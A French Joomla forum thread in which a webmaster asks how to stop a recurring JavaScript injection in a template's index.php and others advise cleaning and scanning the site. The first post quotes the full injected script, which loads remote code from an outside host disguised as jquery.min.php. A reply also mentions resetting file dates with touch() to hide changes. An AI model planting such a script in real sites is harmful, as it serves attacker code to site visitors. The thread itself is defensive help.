Injection Javascript

Réduire
X
Réduire
 
  • Page sur 1
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages
Précédent template Suivant
  • #1

    Injection Javascript

    Bonjour,
    j'ai eu plusieurs sites hackés, suite (je pense) à un retard de mise à jour de Joomla 3.4.5.
    Depuis je fais les mises à jours plus régulièrement, bien que cela me pose souvent des soucis de compatibilité sur des composants que je développe moi-même.
    La plupart du temps une réinstallation de Joomla avec la BDD existance et un changement de mots de passe, protection htaccess semble avoir suffi.
    Par contre j'ai un site qui continue à etre hacké.
    le hack n'es tpas bien méchant
    c'est une injection au de l'index.php du template (protostar standard de plus)
    qui insère
    <script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://global-adventure.home.pl/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

    Une idée pour essayer de trouver ce qui le fait changer ? un utilitaire pour surveiller son changement , par quel user, quel process ?

    je suis sous serveur dédié Ubuntu avec apache, j'ai accès à tous les logs...
    L'idéal serait déjà de savoir quand le fichier a été changé et ensuite regarder peut etre les logs précédants.
    La date du fichier reste malheureusmenet inchangée, alors que le fichier l'est bien lui, évidemment.

    Merci de vos conseils.
    Développement ERP Joomla 2.5
    Tags: Aucun
  • #2
    Re : Injection Javascript

    Bonjour

    L'attaque "jquery.min.php" est un classique; l'idée étant de faire croire au chargement de la librairie jQuery alors qu'il n'en est rien puisque le code jquery.min.php va générer du code JS qui alors interprété par ta page web et de là, on peut imaginer p.ex. le téléchargement d'un trojan.

    Comment savoir qui modifie cette page ? Question hyper complexe. Je n'ai pas de réponse à fournir ici, il faudrait mener une enquête; savoir quand le fichier a été modifié et ensuite analyser tes logs. Tu as la date de la dernière modification de ton index.php, sur base de cette date/heure (en tenant compte du fuseau horaire), tu peux retrouver les lignes dans ton log apache mais là, ce ne sera que les appels à des scripts déjà présent sur ton site.

    En fait, personnellement, je ne mène pas l'enquête; je nettoie. C'est plus rapide et bien plus efficace.

    Note que sur les sites que je nettoie, je ne vois jamais que ce seul jquery.min.php comme hack mais bien plusieurs autres scripts vérolés qui permettent justement de contaminer encore et toujours ton index.php.

    Pour moi, le plus simple est de nettoyer le site.

    Si tu as une archive propre, sa restauration est probablement la meilleure chose à faire.

    Bon travail.
    Christophe (cavo789)
    Mon blog, on y parle Docker, PHP, WSL, Markdown et plein d'autres choses : https://www.avonture.be
    Logiciel gratuit de scan antivirus : https://github.com/cavo789/aesecure_quickscan (plus de 45.000 virus détectés, 700.000 fichiers sur liste blanche)​

    Commentaire

    • #3
      Re : Injection Javascript

      Tout d'abord merci de cette réponse.

      effectivement elle est classique depuis novembre. Côté sauvegardes et bien non je ne peux pas car je ne m'en suis rendu compte que des semaines plus tard, avec Avast ... car le "site malveillant" n'a pas été détecté par aucune sécurité native sous windows.

      Et le site ne plante pas non plus pour autant.

      La date de modif comme je l'ai dit n'est pas modifiée donc compliqué de savoir qui ou quoi.

      n'ayant pas d'archive propre, comment donc "nettoyer le site" ?
      J'ai déjà mis en place un Joomla tout propre... il ne reste que la partie de mon propre composant que j'ai du uploader, mais comment scanner le code qui injecte ce hack ? j'ai des centaines de fichier.
      Développement ERP Joomla 2.5

      Commentaire

      • #4
        Re : Injection Javascript

        Tu ne pourras jamais savoir quel est le code qui injecte sans mener une enquête longue et pénible. Le plus simple est de repartir sur du propre.

        Regarde les deuxièmes et troisièmes liens dans ma signature; ils te seront peut-être utile.

        Bonne journée.
        Christophe (cavo789)
        Mon blog, on y parle Docker, PHP, WSL, Markdown et plein d'autres choses : https://www.avonture.be
        Logiciel gratuit de scan antivirus : https://github.com/cavo789/aesecure_quickscan (plus de 45.000 virus détectés, 700.000 fichiers sur liste blanche)​

        Commentaire

        • #5
          Re : Injection Javascript

          Bonjour,

          J'aimerais savoir si vous avez trouvé une solution?
          J'ai exactement le même soucis, avec une injection de javascript sur le index.php du template. Pour le moment j'arrive à relancer mon site en retirant ce bout de code mais c'est provisoire. Comment faire pour arrêter cette injection?

          Pour info, j'ai changé les mdp sql et admin, fait les maj de Joomla et mis en place aesecure sur le site mais rien n'y fait cela revient sans cesse de temps en temps.
          De plus toutes mes sauvegardes ont été contaminées... je n'ai pas pu voir le soucis avant.
          Et pour finir, je n'ai aucune erreur dans les logs pour ce problème...

          Merci pour votre aide.

          Commentaire

          • #6
            Re : Injection Javascript

            Envoyé par aginji Voir le message
            Bonjour,

            J'aimerais savoir si vous avez trouvé une solution?
            J'ai exactement le même soucis, avec une injection de javascript sur le index.php du template. Pour le moment j'arrive à relancer mon site en retirant ce bout de code mais c'est provisoire. Comment faire pour arrêter cette injection?

            Pour info, j'ai changé les mdp sql et admin, fait les maj de Joomla et mis en place aesecure sur le site mais rien n'y fait cela revient sans cesse de temps en temps.
            De plus toutes mes sauvegardes ont été contaminées... je n'ai pas pu voir le soucis avant.
            Et pour finir, je n'ai aucune erreur dans les logs pour ce problème...

            Merci pour votre aide.
            Peux-tu nous en dire un peu plus sur le template installé, les extensions utilisées...?
            Christophe
            http://www.webcrea.fr

            Commentaire

            • #7
              Re : Injection Javascript

              Bonsoir

              Envoyé par aginji Voir le message
              et mis en place aesecure sur le site mais rien n'y fait cela revient sans cesse de temps en temps.
              Si ton site était vérolé avant l'installation et s'il l'est toujours, un logiciel comme aeSecure va permettre de réduire les exploits (=utilisation des scripts déjà installés) mais pas de sécuriser le site complètement.

              Je m'explique : si les scripts vérolés sont par exemple dans les dossiers /images, /tmp et /cache, aeSecure interdisant l'exécution de scripts php dans ces dossiers-là, de fait, même si les virus s'y trouvent, plus personne ne pourra les exécuter. Bonne chose donc.

              Toutefois, les virus étant ailleurs (p.ex. dans le index.php à la racine ou dans les templates) seront exécutables puisque les fichiers dans lesquels ils sont sont exécutables.

              Un logiciel tel qu'aeSecure ne peut être efficace que si le site est propre au moment de l'installation; forcément.

              Il te faut donc nettoyer ton site, en retirer toute trace de virus et vérifier si ta stratégie de sécurité est bonne (p.ex. utilisation de mot de passe fort, ne pas utiliser admin-admin, avoir uniquement des extensions à jour, juste celles qu'il faut et pas 50 extensions sur son site dont 40 ne sont plus utilisées (=> il faut supprimer ce qui n'est plus utilisé), etc.). Outre nettoyer le site, il faut donc aussi adopter ensuite les bons gestes.

              Bon nettoyage.
              Christophe (cavo789)
              Mon blog, on y parle Docker, PHP, WSL, Markdown et plein d'autres choses : https://www.avonture.be
              Logiciel gratuit de scan antivirus : https://github.com/cavo789/aesecure_quickscan (plus de 45.000 virus détectés, 700.000 fichiers sur liste blanche)​

              Commentaire

              • #8
                Re : Injection Javascript

                C'est ce que j'ai fait. J'ai changé les mots de passe, mis à jour Joomla, nettoyé ce que j'ai trouvé et relancé le tout.
                J'utilise actuellement peu d'extensions autres que celles de base sur Joomla, donc je ne peux pas les supprimer (acymailing, rocket theme). Le template est un template acheté : DotCom.
                J'espère que l'injection se trouve seulement dans le index.php...

                En revanche, comment peut-on injecter du code dans un script sans que la date de celui-ci soit modifiée? J'avoue que je ne comprends pas comment c'est possible...

                Merci pour ces informations !

                Commentaire

                • #9
                  Re : Injection Javascript

                  Bonjour

                  En php, il y a une fonction nommée touch() qui permet de réinitialiser la date de la dernière modification.

                  Il suffit donc de capturer la date de dernière modif. du fichier ... avant de la modifier et hop, c'est bon, ni vu ni connu.

                  J'espère que l'injection se trouve seulement dans le index.php...
                  Oui, je te souhaite un tel miracle. Note que je n'ai jamais nettoyé un site où il n'y avait qu'un seul virus et seulement présent dans les index.php. Peut-être auras-tu cette chance

                  Bonne journée.
                  Christophe (cavo789)
                  Mon blog, on y parle Docker, PHP, WSL, Markdown et plein d'autres choses : https://www.avonture.be
                  Logiciel gratuit de scan antivirus : https://github.com/cavo789/aesecure_quickscan (plus de 45.000 virus détectés, 700.000 fichiers sur liste blanche)​

                  Commentaire

                  • #10
                    Re : Injection Javascript

                    D'accord, merci pour l'explication c'est très clair. Je comprends mieux l'astuce.

                    Le problème c'est que des scripts il y en a des tas sur Joomla... c'est difficile de trouver ceux qui sont contaminés.
                    Il existe une méthode appropriée pour rechercher ce qui a été modifié? Sans passer par la date des fichiers.

                    Bonne journée également

                    Commentaire

                    • #11
                      Re : Injection Javascript

                      Il existe un composant qui scanne les fichiers de votre FTP, qui détecte les Trojans injecter sur les index.php, il s'appelle securitycheck pro.

                      Commentaire

                      • #12
                        Re : Injection Javascript

                        Tente mon QuickScan (voir ma signature). Il va scanner ton site à la recherche de bestioles. Note bien que le scan n'est pas exhaustif (j'en explique les raisons dans ma documentation).

                        Bonne journée.
                        Christophe (cavo789)
                        Mon blog, on y parle Docker, PHP, WSL, Markdown et plein d'autres choses : https://www.avonture.be
                        Logiciel gratuit de scan antivirus : https://github.com/cavo789/aesecure_quickscan (plus de 45.000 virus détectés, 700.000 fichiers sur liste blanche)​

                        Commentaire

                        • #13
                          Re : Injection Javascript

                          Ok merci pour vos réponses, je vais essayer tout ça.
                          J'espère en venir à bout !
                          Bonne nuit

                          Commentaire

                          Précédent template Suivant

                          Annonce

                          Réduire
                          Aucune annonce pour le moment.

                          Partenaire de l'association

                          Réduire
                          Hébergeur Web PlanetHoster
                          Travaille ...
                          X